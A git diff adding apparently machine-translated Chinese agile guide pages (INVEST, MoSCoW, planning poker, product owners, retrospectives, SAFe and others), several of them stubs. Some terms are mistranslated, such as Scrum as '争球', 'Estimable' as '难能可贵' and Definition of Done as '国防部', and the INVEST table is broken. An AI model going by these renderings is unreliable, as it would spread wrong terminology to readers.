diff --git a/client/src/guide/chinese/agile/invest/index.md b/client/src/guide/chinese/agile/invest/index.md
new file mode 100644
index 0000000000..f5927a21e7
--- /dev/null
+++ b/client/src/guide/chinese/agile/invest/index.md
@@ -0,0 +1,27 @@
+---
+title: INVEST
+localeTitle: 投资
+---
+## 投资
+
+**我** | **独立** ----- | -----  
+**N** | **面议** **V** | **有价值** **E** | **难能可贵** **S** | **小** **T** | **可测试**
+
+当您在积压中精炼和调整用户故事时，INVEST助记符可以帮助您确定它们是否已准备就绪
+
+*   独立
+*   故事尽可能与其他故事截然不同。避免“一层二层”。
+*   面议
+*   作为产品负责人和交付团队在整理期间对话的一部分，可以讨论，改进和改进故事的详细信息。验收标准可以根据客户需求和技术能力的波动和流量进行调整。
+*   有价值
+*   对客户有价值。通过实施故事赚取的钱，节省的时间，获得的效率，停止损失等。
+*   估
+*   在梳理期间，故事的描述和对话已经解决了交付团队的足够问题，他们可以自信而舒适地调整故事大小。
+*   小
+*   您可以在既定迭代中完成故事。
+*   可测试
+*   故事包括您将用于确认代码满足客户需求的验收标准。
+
+#### 更多信息：
+
+[谷歌很多](https://www.google.com/search?q=agile+invest+negotiable&ie=utf-8&oe=utf-8)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/kano-analysis/index.md b/client/src/guide/chinese/agile/kano-analysis/index.md
new file mode 100644
index 0000000000..2a513dc863
--- /dev/null
+++ b/client/src/guide/chinese/agile/kano-analysis/index.md
@@ -0,0 +1,11 @@
+---
+title: Kano Analysis
+localeTitle: 卡诺分析
+---
+## 卡诺分析
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/kano-analysis/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/lean-software-development/index.md b/client/src/guide/chinese/agile/lean-software-development/index.md
new file mode 100644
index 0000000000..f88e5decc2
--- /dev/null
+++ b/client/src/guide/chinese/agile/lean-software-development/index.md
@@ -0,0 +1,38 @@
+---
+title: Lean Software Development
+localeTitle: 精益软件开发
+---
+## 精益软件开发
+
+### 介绍
+
+精益软件开发是构建软件的过程，重点是使用最小化额外工作和浪费精力的技术。这些技术借鉴了精益制造运动，并应用于软件开发的背景。
+
+### 关键概念
+
+该方法有七个原则，包括：
+
+1.  消除浪费
+2.  扩大学习
+3.  尽可能晚地决定
+4.  尽可能快地交付
+5.  赋予团队权力
+6.  建立诚信
+7.  看到整体
+
+### 隐喻
+
+编程行为被视为装配线，其中每个功能或错误修复称为“更改请求”。然后，该“更改请求”的组装线可以被视为“价值流”，其目标是最小化每个“变更请求”在交付之前在线上的时间。
+
+尚未交付的软件被视为“库存”，因为它尚未为公司或客户提供价值。这包括部分完成的任何软件。因此，为了最大化吞吐量，提供许多小型的完整工作软件非常重要。
+
+为了最大限度地减少“库存”，重要的是将控制权交给作为软件开发人员的“工人”，因为他们最适合创建自动化流程以“错误地证明”装配线的各个部分。
+
+### 参考
+
+关于精益技术的书面文档的最初来源是精益软件开发，Mary和Tom Poppendieck的敏捷工具包。
+
+作者的其他书籍包括：
+
+*   实施精益软件开发：从概念到现金Mary Poppendieck
+*   领先的精益软件开发：结果不是Mary Poppendieck的观点
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/meta-scrum/index.md b/client/src/guide/chinese/agile/meta-scrum/index.md
new file mode 100644
index 0000000000..6d9f67d33e
--- /dev/null
+++ b/client/src/guide/chinese/agile/meta-scrum/index.md
@@ -0,0 +1,11 @@
+---
+title: Meta Scrum
+localeTitle: Scrum的元
+---
+## 元Scrum
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/meta-scrum/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/minimum-marketable-features/index.md b/client/src/guide/chinese/agile/minimum-marketable-features/index.md
new file mode 100644
index 0000000000..07b6c87f41
--- /dev/null
+++ b/client/src/guide/chinese/agile/minimum-marketable-features/index.md
@@ -0,0 +1,25 @@
+---
+title: Minimum Marketable Features
+localeTitle: 最低市场特征
+---
+## 最低市场特征
+
+最小可销售特征（MMF）是一种独立的功能，可以快速开发并为用户提供重要价值。
+
+**需要注意的是：**最小可销售特征与最小可行产品（MVP）不同。它们是不同的概念。但是，两者对于支持开发人员应该努力实现最小功能以实现任何给定结果的想法至关重要。
+
+将MMF分解为其核心组件：
+
+**最小** - 绝对最小的功能集。这对于快速将任何特定功能推向市场至关重要
+
+**适销对路** - 向最终用户或组织销售该功能具有重要价值
+
+**功能** - 最终用户获得的值。它给了我什么？品牌认知度？更多收入？帮助削减成本？它能给我带来竞争优势吗？
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+### 来源
+
+1. [https://www.agilealliance.org/glossary/mmf/访问时间：2017年10月25日](https://www.agilealliance.org/glossary/mmf/) 2. [https://www.prokarma.com/blog/2015/10/23/minimum-marketable-features-agile-essential访问时间：2017年10月25日](https://www.prokarma.com/blog/2015/10/23/minimum-marketable-features-agile-essential)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/minimum-viable-product/index.md b/client/src/guide/chinese/agile/minimum-viable-product/index.md
new file mode 100644
index 0000000000..3df0127446
--- /dev/null
+++ b/client/src/guide/chinese/agile/minimum-viable-product/index.md
@@ -0,0 +1,15 @@
+---
+title: Minimum Viable Product
+localeTitle: 最小可行产品
+---
+## 最小可行产品
+
+我们的想法是快速构建一组最小的功能，这些功能足以部署产品并测试关于客户与产品交互的关键假设。
+
+#### 最小可行产品有三个主要特征：
+
+*   它具有足够的价值，人们愿意使用它或最初购买它。
+*   它表明了保留早期采用者的未来收益。
+*   它提供了一个反馈循环来指导未来的发展。
+
+了解有关MVP的更多信息： [什么是mvp？](https://youtu.be/MHJn_SubN4E)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/moscow/index.md b/client/src/guide/chinese/agile/moscow/index.md
new file mode 100644
index 0000000000..a18751c114
--- /dev/null
+++ b/client/src/guide/chinese/agile/moscow/index.md
@@ -0,0 +1,50 @@
+---
+title: Moscow
+localeTitle: 莫斯科
+---
+## 莫斯科
+
+## MoSCoW方法
+
+这个词的意思之一是MoSCoW方法 - 一种用于管理，业务分析，项目管理和软件开发的优先级技术，以便与利益相关者就每个需求的交付重要性达成共识 - 也称为MoSCoW优先级划分或MoSCoW分析。
+
+## 确定MoSCoW要求的优先顺序
+
+所有要求都很重要，但它们优先考虑尽早提供最大和最直接的商业利益。开发人员最初会尝试提供所有必需品，应该具有和可能有要求，但如果交货时间表看起来受到威胁，那么应该和可能的要求将是第一个被删除的要求。
+
+与高，中，低等替代方案相比，优先级类别的简单英语含义对于让客户更好地理解设置优先级的影响具有价值。
+
+这些类别通常被理解为：
+
+## 一定有
+```
+Requirements labeled as Must have are critical to the current delivery timebox in order for it to be a success. If even one Must have requirement is not included, the project delivery should be considered a failure. MUST can also be considered an acronym for the Minimum Usable SubseT. 
+```
+
+## 应该有
+```
+Requirements labeled as Should have are important but not necessary for delivery in the current delivery timebox. While Should have requirements can be as important as Must have, they are often not as time-critical or there may be another way to satisfy the requirement, so that it can be held back until a future delivery timebox. 
+```
+
+## 可以
+```
+Requirements labeled as Could have are desirable but not necessary, and could improve user experience or customer satisfaction for little development cost. These will typically be included if time and resources permit. 
+```
+
+## 不会
+```
+Requirements labeled as Won't have have been agreed by stakeholders as the least-critical, lowest-payback items, or not appropriate at that time. As a result, Won't have requirements are not planned into the schedule for the next delivery timebox. Won't have requirements are either dropped or reconsidered for inclusion in a later timebox. 
+```
+
+MoSCoW是一种粗粒度方法，用于对产品Backlog项目（或需求，用例，用户故事......取决于所使用的方法）进行优先级排序（分类）。 MoSCoW经常与时间盒一起使用，其中最后期限是固定的，因此重点必须放在最重要的要求上。 术语MoSCoW本身是源自四个优先级类别（必须具有，应具有，可能具有和将不具有）的第一个字母的首字母缩略词：
+
+*   **必须** ：对当前交货时间箱至关重要，以使其成功。它通常是MVP（最小可行产品）的一部分。
+*   **应该具有** ：重要但不必在当前交货时间箱中交货。
+*   **可能有** ：理想但不是必要的改进。
+*   **不会** ：最不重要，回报最低的项目，或者此时不合适。
+
+通过以这种方式确定优先顺序，可以达到项目的共同定义，并相应地设定利益相关者的期望。请注意，MoSCoW对于如何区分项目的类别以及何时完成某些操作（如果不是在此时间框中）有点松懈。
+
+#### 更多信息：
+
+[维基百科](https://en.wikipedia.org/wiki/MoSCoW_method)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/nonfunctional-requirements/index.md b/client/src/guide/chinese/agile/nonfunctional-requirements/index.md
new file mode 100644
index 0000000000..5084d7633f
--- /dev/null
+++ b/client/src/guide/chinese/agile/nonfunctional-requirements/index.md
@@ -0,0 +1,26 @@
+---
+title: Nonfunctional Requirements
+localeTitle: 非功能性要求
+---
+## 非功能性要求
+
+非功能性需求（NFR）是指定可用于判断系统操作的标准的要求，而不是特定行为（功能要求）。非功能性需求通常被称为“质量属性”，“约束”或“非行为要求”。
+
+非正式地，这些有时被称为“能力”，来自稳定性和可移植性等属性。 NFR可分为两大类：
+
+*   **执行质量** ，例如安全性，安全性和可用性，可在操作期间（运行时）观察到。
+*   **进化质量** ，例如可测试性，可维护性，可扩展性和可扩展性，它们体现在系统的静态结构中
+
+通常，您可以将非功能性需求细化为一组功能需求，作为详细说明和允许（部分）测试和验证的方法。
+
+### 例子：
+
+*   按下按钮后，打印机应打印5秒钟
+*   代码应该用Java编写
+*   用户界面应易于导航
+
+#### 更多信息：
+
+*   [维基百科文章](https://en.wikipedia.org/wiki/Non-functional_requirement)
+*   [ReQtest](http://reqtest.com/requirements-blog/functional-vs-non-functional-requirements/)解释功能和非功能需求之间的差异
+*   [Scaled Agile](http://www.scaledagileframework.com/nonfunctional-requirements/)通过从发现到测试非功能性需求的过程来工作
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/osmotic-communications/index.md b/client/src/guide/chinese/agile/osmotic-communications/index.md
new file mode 100644
index 0000000000..9dc9fb9251
--- /dev/null
+++ b/client/src/guide/chinese/agile/osmotic-communications/index.md
@@ -0,0 +1,12 @@
+---
+title: Osmotic Communications
+localeTitle: 渗透通讯
+---
## 渗透通讯
+
+**渗透通信**是成功实施敏捷项目的重要因素之一。
+
+在敏捷项目中，团队成员通常在同一地点，一些团队成员之间的任何讨论都将流向其他团队成员。然后，他们可以获取相关信息，并在必要时加入讨论。
+
+#### 更多信息：
+
+https://www.projectmanagement.com/wikis/295442/Osmotic-Communications http://agilemodeling.com/essays/communication.htm
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/pair-programming/index.md b/client/src/guide/chinese/agile/pair-programming/index.md
new file mode 100644
index 0000000000..c9104e5890
--- /dev/null
+++ b/client/src/guide/chinese/agile/pair-programming/index.md
@@ -0,0 +1,12 @@
+---
+title: Pair Programming
+localeTitle: 配对编程
+---
+## 配对编程
+
+极限编程（XP）建议所有生产代码由两个程序员在同一台计算机上同时工作，然后轮流使用键盘。一些学术研究表明，结对编程可以减少错误并提高可维护性。结对编程还可以帮助在团队中传播知识，从而有助于提高[公交因素，](http://deviq.com/bus-factor/)并有助于促进[集体代码所有权](http://deviq.com/collective-code-ownership/) 。
+
+#### 更多信息：
+
+*   [配对编程基础（培训课程）](http://bit.ly/PS-PairProgramming)
+*   [敏捷软件编程最佳实践](https://www.versionone.com/agile-101/agile-software-programming-best-practices/pair-programming/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/parallel-development/index.md b/client/src/guide/chinese/agile/parallel-development/index.md
new file mode 100644
index 0000000000..1d4dab09d7
--- /dev/null
+++ b/client/src/guide/chinese/agile/parallel-development/index.md
@@ -0,0 +1,11 @@
+---
+title: Parallel Development
+localeTitle: 并行开发
+---
+## 并行开发
+
+Parallel Development代表开发过程分为多个分支，提供具有稳定版本和新功能的多功能产品。在更常见的简单软件开发过程中，您只有一个分支包含错误修复和改进，以及新功能。在并行开发中，多个分支可以共存。
+
+通常，并行开发包含一个主“master”分支，它是最稳定的，包含对现有代码的重要修复。从主分支创建更多分支以向现有代码添加新的“路径”。这些分支提供了新功能，但不包括从主分支同时应用的修复程序。客户了解这些版本并使用特殊设备或测试机器来测试新功能。当QA测试通过时，可以将side branch与主分支合并，以向发布版本引入新功能。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/pirate-metrics/index.md b/client/src/guide/chinese/agile/pirate-metrics/index.md
new file mode 100644
index 0000000000..6cce3ead73
--- /dev/null
+++ b/client/src/guide/chinese/agile/pirate-metrics/index.md
@@ -0,0 +1,19 @@
+---
+title: Pirate Metrics
+localeTitle: 盗版指标
+---
+## 盗版指标
+
+Dave McClure确定了五个对创业公司成功至关重要的高级指标类别： 获取，激活，保留，收入，转介。
+
+他从这五个指标类别（AARRR）的首字母缩写词中创造了“Pirate Metrics”一词。
+
+在他们的书“精益分析”中，Croll和Yoskovitz将这些指标直观地解释为漏斗： ![精益分析图5.1](https://github.com/yunChigewan/storage/blob/master/figure_5_1.jpg?raw=true) 精益分析，2013年
+
+并以更尖锐的解释作为表格： ![精益分析表5.1](https://github.com/yunChigewan/storage/blob/master/table_5_1.jpg?raw=true) 精益分析，2013年
+
+#### 更多信息：
+
+*   原始海盗指标幻灯片（McClure）https://www.slideshare.net/dmc500hats/startup-metrics-for-pirates-long-version
+*   精益分析书籍网站http://leananalyticsbook.com/
+*   Notion在他们的[网站](http://usenotion.com/aarrrt/)上有一个非常好的海盗度量指南（包括团队措施）
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/planning-poker/index.md b/client/src/guide/chinese/agile/planning-poker/index.md
new file mode 100644
index 0000000000..712e656788
--- /dev/null
+++ b/client/src/guide/chinese/agile/planning-poker/index.md
@@ -0,0 +1,39 @@
+---
+title: Planning Poker
+localeTitle: 计划扑克
+---
+## 计划扑克
+
+### 介绍
+
+规划扑克是敏捷开发模型中的估算和规划技术。它用于估计[用户故事](../user-stories/index.md)或功能所需的开发工作量。
+
+### 处理
+
+计划扑克一次只为一个用户故事完成。
+
+每个估算器都拥有一组相同的扑克牌，这些扑克牌由具有各种值的牌组成。卡值通常来自Fibonacci序列。用于值的单位可以是团队商定的天数，故事点或任何其他类型的估算单位。
+
+产品所有者（PO）或利益相关者解释了要估计的故事。
+
+该团队讨论了这个故事，询问他们可能有的任何澄清问题。这帮助球队拿到上PO想要_什么_更好的理解。
+
+在讨论结束时，每个人首先选择一张卡片（代表他们对故事的估计）而不向其他人展示。然后，他们同时展示他们的卡片。
+
+如果所有卡具有相同的值，则该值将成为故事的估计值。如果存在差异，团队会讨论他们所选择的值的原因。提供最低和最高估计的团队成员为其估计提供了理由，这具有很高的价值。
+
+在讨论之后，重复选择私人卡然后同时揭示卡的过程。这是在对估计达成共识之前完成的。
+
+因为计划扑克是一种调节_联合_专家评估的工具，它可以更好地理解并甚至改进特征请求。即使团队在No-Estimates模式下运行，它也具有很高的价值。
+
+主持人应尽量避免确认偏差。
+
+值得一提的事：
+
+*   由于每个团队都有自己的scala，因此团队之间的估算无法比较。
+*   估算应包括为完成一项工作而需要完成的所有工作：设计，编码，测试，沟通，代码审查（+所有可能的风险）
+*   使用计划扑克的价值在于最终的讨论，因为它们揭示了对可能实现的不同观点
+
+### 更多信息：
+
+*   规划扑克视频： [YouTube](https://www.youtube.com/watch?v=MrIZMuvjTws)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/product-management/index.md b/client/src/guide/chinese/agile/product-management/index.md
new file mode 100644
index 0000000000..60189d4a47
--- /dev/null
+++ b/client/src/guide/chinese/agile/product-management/index.md
@@ -0,0 +1,52 @@
+---
+title: Product Management
+localeTitle: 产品管理
+---
+## 产品管理
+
+产品管理是一种组织功能，负责销售产品的整个生命周期。作为一项业务职能，产品管理负责为业务创造客户价值和可衡量的利益。
+
+在成熟的企业公司和初创公司中，大多数产品管理角色都有一些共同的核心职责。大多数情况下，产品管理负责了解客户需求，定义客户需求并确定其优先级，并与工程团队合作构建客户需求。制定战略和定义路线图通常被认为是入站工作，并且将产品推向市场通常被认为是“出站”。
+
+了解入站和出站产品管理之间的差异非常重要，因为优秀的产品经理拥有丰富多样的技能。
+
+产品管理和项目管理之间的区别在于规模和生命周期。项目经理确保向客户提供多个产品/服务/项目，而产品经理则超越开发并致力于产品/服务的长期性和操作性。
+
+在游戏开发中，由于游戏具有更详细的发布后计划和货币化策略，我们可以看到从项目到产品的明显转变。
+
+### 入站产品管理
+
+入站产品管理涉及收集客户研究，竞争情报和行业趋势，以及制定战略和管理产品路线图。
+
+产品策略和定义（入站）
+
+*   战略和愿景
+*   客户访谈
+*   定义功能和要求
+*   建立路线图
+*   发布管理
+*   转向工程资源
+*   销售和支持培训
+
+### 出站产品管理
+
+出站产品管理涉及产品营销职责，例如：消息和品牌，客户沟通，新产品发布，广告，公关和活动。根据组织的不同，这些角色可以由密切配合的同一个人或两个不同的人或团体执行。
+
+产品营销和上市（出境）
+
+*   竞争差异化
+*   定位和消息传递
+*   命名和品牌
+*   客户沟通
+*   产品发布
+*   新闻和分析师的关系
+
+### 产品经理
+
+产品管理作为一种职业继续扩展。对合格产品经理的需求在各个层面都在增长。根据经验水平，有各种各样的角色和责任。机会范围从副产品经理一直到CPO。
+
+大多数产品经理在其职业生涯早期担任过不同的职位。软件工程师，销售工程师或专业服务顾问经常成为产品经理的角色。但是在一些公司（例如Google，Facebook，......）中，初级产品经理是直接从校外招聘的，并得到职业计划的支持，以便在工作中教他们。
+
+#### 更多信息：
+
+维基百科页面：https：//en.wikipedia.org/wiki/Product\_management
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/product-owners/index.md b/client/src/guide/chinese/agile/product-owners/index.md
new file mode 100644
index 0000000000..a1c0fa440f
--- /dev/null
+++ b/client/src/guide/chinese/agile/product-owners/index.md
@@ -0,0 +1,33 @@
+---
+title: Product Owners
+localeTitle: 产品所有者
+---
+## 产品所有者
+
+产品所有者负责产品愿景和发布计划。他们负责定义功能，发布日期以及构成可发运产品的内容。产品负责人的目标是快速正确地构建正确的东西。
+
+在高级别，产品负责人负责以下事项：
+
+*   产品愿景的所有者
+*   引领发布计划
+*   定义发布的功能和内容
+*   管理团队对发布的理解
+*   创建并策划产品待办事项
+*   优先考虑产品积压
+*   指导团队完成发布周期
+*   做出权衡决定
+*   接受或拒绝工作
+
+产品负责人创建积压的项目，他们认为这些项目将成为一个好产品。这些知识基于他们对市场，用户测试和市场预测的理解。产品所有者根据用户和利益相关者的反馈调整产品的长期目标。他们还充当与利益相关者的联系点，管理范围和期望。
+
+一旦产品负责人收到各利益相关方的反馈，他们就会优化积压工作，尽可能多地添加详细信息，以便为该版本创建最小可行产品（MVP）。
+
+然后，产品负责人会优先考虑工作负载，以确保完成的故事同时满足业务价值和用户目标。此外，如果某些故事存在风险，产品负责人会将这些风险放在待办事项的首位，以便及早解决风险。
+
+与团队和Scrum Master合作，产品所有者参加sprint计划会议，将整齐的故事循环到sprint中。在整个sprint中，产品负责人确保团队根据完成定义（DoD）完成工作，回答可能出现的任何问题，并更新利益相关者。
+
+冲刺完成后，产品负责人与其他利益相关者一起参与Sprint审核。确保每个故事都符合国防部，产品负责人通过收集反馈并根据已完成的工作确定工作的优先级，为下一个冲刺做好准备。
+
+### 更多信息：
+
+*   坚果壳视频中的敏捷产品所有权： [YouTube](https://www.youtube.com/watch?v=502ILHjX9EE)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/rapid-application-development/index.md b/client/src/guide/chinese/agile/rapid-application-development/index.md
new file mode 100644
index 0000000000..8160f8f07b
--- /dev/null
+++ b/client/src/guide/chinese/agile/rapid-application-development/index.md
@@ -0,0 +1,14 @@
+---
+title: Rapid Application Development
+localeTitle: 快速应用开发
+---
+## 快速应用开发
+
+快速应用程序开发（RAD）被设计为对传统软件开发方法问题的反应，特别是长时间开发的问题。它还解决了与开发过程中需求变化相关的问题。
+
+RAD的主要原则如下： 1）增量发展。这是RAD处理不断变化的需求的主要手段。只有当用户看到并体验使用中的系统时，才会出现一些要求。要求从未被视为完整 - 由于环境的变化，它们会随着时间的推移而发展。 RAD流程从一个高级的，非特定的需求列表开始，这些需求在开发过程中得到了改进。 2）时间盒。通过时间框，系统可以分为多个单独开发的组件或时间盒。最重要的要求是在第一个时间框中开发的。功能快速而且经常提供。 3）帕累托原则。也称为80/20规则，这意味着大约80％的系统功能可以提供，占所需总工作量的20％左右。因此，最后（也是最复杂）20％的需求需要付出最大的努力和时间。因此，您应该在前几个时间框内选择尽可能多的80％。如果证明有必要，其余部分可以在随后的时间框中提供。 4）MoSCoW规则。 MoSCoW是一种用于在软件开发中确定工作项优先级的方法。项目被列为必须拥有，应拥有，可能拥有或希望具有的功能。必须具有必须包含在产品中以供其接受发布的项目，其他分类具有降序优先级。 5）JAD研讨会。联合应用程序开发（JAD）是一种促进会议，其中执行需求收集，特别是访问要开发的系统的用户。 JAD研讨会通常在开发过程的早期阶段进行，但如果在此过程中稍后需要，可以组织其他会议。 6）原型设计。构建原型有助于建立和阐明用户需求，并且在某些情况下，它会演变为系统本身。 7）赞助商和冠军。执行发起人是组织内需要系统的人，致力于实现该系统并准备为其提供资金。冠军是一个人，通常资历较低，而不是高管，他致力于该项目，并准备将其推进到完成阶段。 8）工具集。 RAD通常采用工具集作为加速开发过程和提高生产率的手段。工具可用于变更控制，配置管理和代码重用。
+
+#### 更多信息：
+
+*   https://en.wikipedia.org/wiki/Rapid _应用程序_开发 - 关于RAD的维基百科文章
+*   https://www.tutorialspoint.com/sdlc/sdlc _rad_ model.htm - RAD上的TutorialsPoint教程
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/rational-unified-process/index.md b/client/src/guide/chinese/agile/rational-unified-process/index.md
new file mode 100644
index 0000000000..fd4a7126b0
--- /dev/null
+++ b/client/src/guide/chinese/agile/rational-unified-process/index.md
@@ -0,0 +1,11 @@
+---
+title: Rational Unified Process
+localeTitle: Rational Unified Process
+---
+## Rational Unified Process
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/rational-unified-process/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/release-planning/index.md b/client/src/guide/chinese/agile/release-planning/index.md
new file mode 100644
index 0000000000..b6771dc574
--- /dev/null
+++ b/client/src/guide/chinese/agile/release-planning/index.md
@@ -0,0 +1,11 @@
+---
+title: Release Planning
+localeTitle: 发布计划
+---
+## 发布计划
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/release-planning/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/release-trains/index.md b/client/src/guide/chinese/agile/release-trains/index.md
new file mode 100644
index 0000000000..1ee79d8ea8
--- /dev/null
+++ b/client/src/guide/chinese/agile/release-trains/index.md
@@ -0,0 +1,19 @@
+---
+title: Release Trains
+localeTitle: 发布火车
+---
+## 发布火车
+
+发布系列（也称为敏捷发布培训或ART）是一个长期存在的敏捷团队，与其他利益相关者一起，在程序增量中使用一系列固定长度的迭代，逐步开发和提供解决方案（ PI）时间盒。 ART将团队与共同的业务和技术使命联系起来。
+
+## 细节
+
+ART具有跨功能，并具有定义，实现，测试和部署新系统功能所需的所有功能 - 软件，硬件，固件和其他功能。 ART的目标是实现持续的价值流。
+
+ART包括定义，构建和测试功能和组件的团队。 SAFe团队可以选择敏捷实践，主要基于Scrum，XP和看板。软件质量实践包括持续集成，测试优先，重构，配对工作和集体所有权。探索性早期迭代，频繁的系统级集成，设计验证，建模和基于集合的设计支持硬件质量。
+
+敏捷架构支持软件和硬件质量。每个敏捷团队都有五到九个专门的个人贡献者，涵盖了为迭代构建高质量增值所需的所有角色。团队可以提供软件，硬件和任何组合。当然，ART中的敏捷团队本身就是跨职能的。
+
+#### 更多信息：
+
+[缩放敏捷](http://www.scaledagileframework.com/agile-release-train/) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/retrospectives/index.md b/client/src/guide/chinese/agile/retrospectives/index.md
new file mode 100644
index 0000000000..374c5a0a87
--- /dev/null
+++ b/client/src/guide/chinese/agile/retrospectives/index.md
@@ -0,0 +1,43 @@
+---
+title: Retrospectives
+localeTitle: 回顾展
+---
+## 回顾展
+
+Sprint回顾展可能是最有用和最重要的Scrum仪式。
+
+_“检查和适应”_的概念对于创建一个成功和蓬勃发展的团队至关重要。
+
+回顾展的标准议程是：
+
+*   我们一直在做什么？
+*   我们该怎么做？
+*   我们开始做什么？
+*   我们想说谁谢谢你？ （没有必要但是很好的做法）
+
+从这次讨论中，团队创建了一个他们共同工作的行为列表。
+
+在提交行动项目时，请确保将注意力集中在1 - 3上。最好完成一对，而不是做更多而不做。如果难以提出行动，请尝试运行实验：写下您将要做的事情以及您想要实现的目标。在下面的复古检查中，您所做的是否达到了您的计划。如果没有 - 您可以从实验中学习并尝试其他方法。
+
+找出应讨论哪些主题的好方法是_“讨论和提及”_ 。它包含一个板子，其中包含与团队中人员一样多的列（您可以使用Trello或仅使用常规白板）以及另外两个用于“讨论”和“被提及”的内容。每个人都有10分钟的时间来填充他们希望突出显示的最后一个sprint中的内容（这些内容用卡片或Post-it表示）。之后，每个团队成员解释他们自己的每个项目。最后，每个团队成员通过将卡片/帖子移动到相应的列来选择他们认为应该提及或讨论的主题。然后，团队决定应讨论哪些主题，并在大约10分钟内讨论它们。
+
+仅邀请scrum团队参加回顾展。 （交付团队，产品负责人，Scrum Master）。劝阻管理者，利益相关者，商业伙伴等。他们分散注意力，可能会妨碍团队需要的开放感。
+
+在进行回顾时，请确保在前5-10分钟内每个人都至少说几句话。当团队成员在会议开始时发言时，他们更有可能在整个会议期间做出贡献。
+
+在回顾期间，团队保持高效率非常重要。让人们保持积极情绪的一个简单方法是专注于团队控制的内容。
+
+*   对于一个位于同一地点的团队，索引卡和后期工作非常适合这个过程。
+*   对于分布式团队，有各种在线工具和应用程序可以促进讨论
+*   https://www.senseitool.com/home
+*   http://www.leancoffeetable.com/
+
+应在板上标注操作项，以使跟踪进度可视化并更加可区分。每次新的回顾都应该从审查_上一次_回顾期间决定的行动项目的状态开始。
+
+#### 更多信息：
+
+*   准备回顾的灵感：
+*   https://plans-for-retrospectives.com/en/
+*   http://www.funretrospectives.com/
+*   如何使用爆米花流程进行实验：
+*   https://www.slideshare.net/cperrone/popcornflow-continuous-evolution-through-ultrarapid-experimentation
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/safe/index.md b/client/src/guide/chinese/agile/safe/index.md
new file mode 100644
index 0000000000..bf287832c2
--- /dev/null
+++ b/client/src/guide/chinese/agile/safe/index.md
@@ -0,0 +1,39 @@
+---
+title: SAFe
+localeTitle: 安全
+---
+## 安全
+
+SAFe代表“Scaled Agile Framework”，是一个敏捷的软件开发框架，专为涉及许多团队的大规模敏捷开发而设计。
+
+主网站（ [http://www.scaledagileframework.com/](http://www.scaledagileframework.com/) ）是一个免费提供的有关实施SAFe的在线知识库。
+
+## 原则
+
+SAFe有九个基本原则
+
+1.  **从经济角度考虑** - 评估决策，发展和风险的经济成本
+2.  **应用系统思考** - 开发过程是工作者使用的系统之间的交互，因此需要通过系统思考来查看进度
+3.  **假设可变性;保留选项** - 需求变化，灵活，并使用经验数据来缩小焦点
+4.  **通过快速，集成的学习周期**逐步构建 - 快速，增量构建允许快速反馈，以便在必要时更改项目
+5.  **关于工作系统客观评估的基本里程碑** - 客观评估提供重要信息，如财务和治理作为反馈
+6.  **可视化和限制WIP，减少批量大小和管理队列长度** - 执行这些操作以实现连续流动以快速移动并可视化进度; WIP =正在进行中的工作
+7.  **应用节奏，与跨域规划同步** - 节奏是在某些事件发生时设置日期（例如每周发布）和同步确保每个人都有相同的目标
+8.  **释放知识工作者的内在动力** - 当您利用他们的个人动机时，人们会更好地工作
+9.  **分散决策** - 允许更快的行动，这可能不是最好的解决方案，但允许团队之间更快的沟通;对于更具战略性或全球性的决策，集中决策可能是必要的
+
+## 配置
+
+SAFe有四种变体，复杂性和项目需求各不相同：
+
+1.  必不可少的SAFe
+2.  投资组合SAFe
+3.  大溶液SAFe
+4.  完整的SAFe
+
+#### 更多信息：
+
+*   [扩展敏捷框架](https://en.wikipedia.org/wiki/Scaled_Agile_Framework)
+*   [什么是SAFe？](http://www.scaledagileframework.com/what-is-safe/)
+*   [十大要素](http://www.scaledagileframework.com/essential-safe/)
+*   [SAFe原则](http://www.scaledagileframework.com/safe-lean-agile-principles/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/scrum/index.md b/client/src/guide/chinese/agile/scrum/index.md
new file mode 100644
index 0000000000..2dcc76ce46
--- /dev/null
+++ b/client/src/guide/chinese/agile/scrum/index.md
@@ -0,0 +1,46 @@
+---
+title: Scrum
+localeTitle: 争球
+---
+## 争球
+
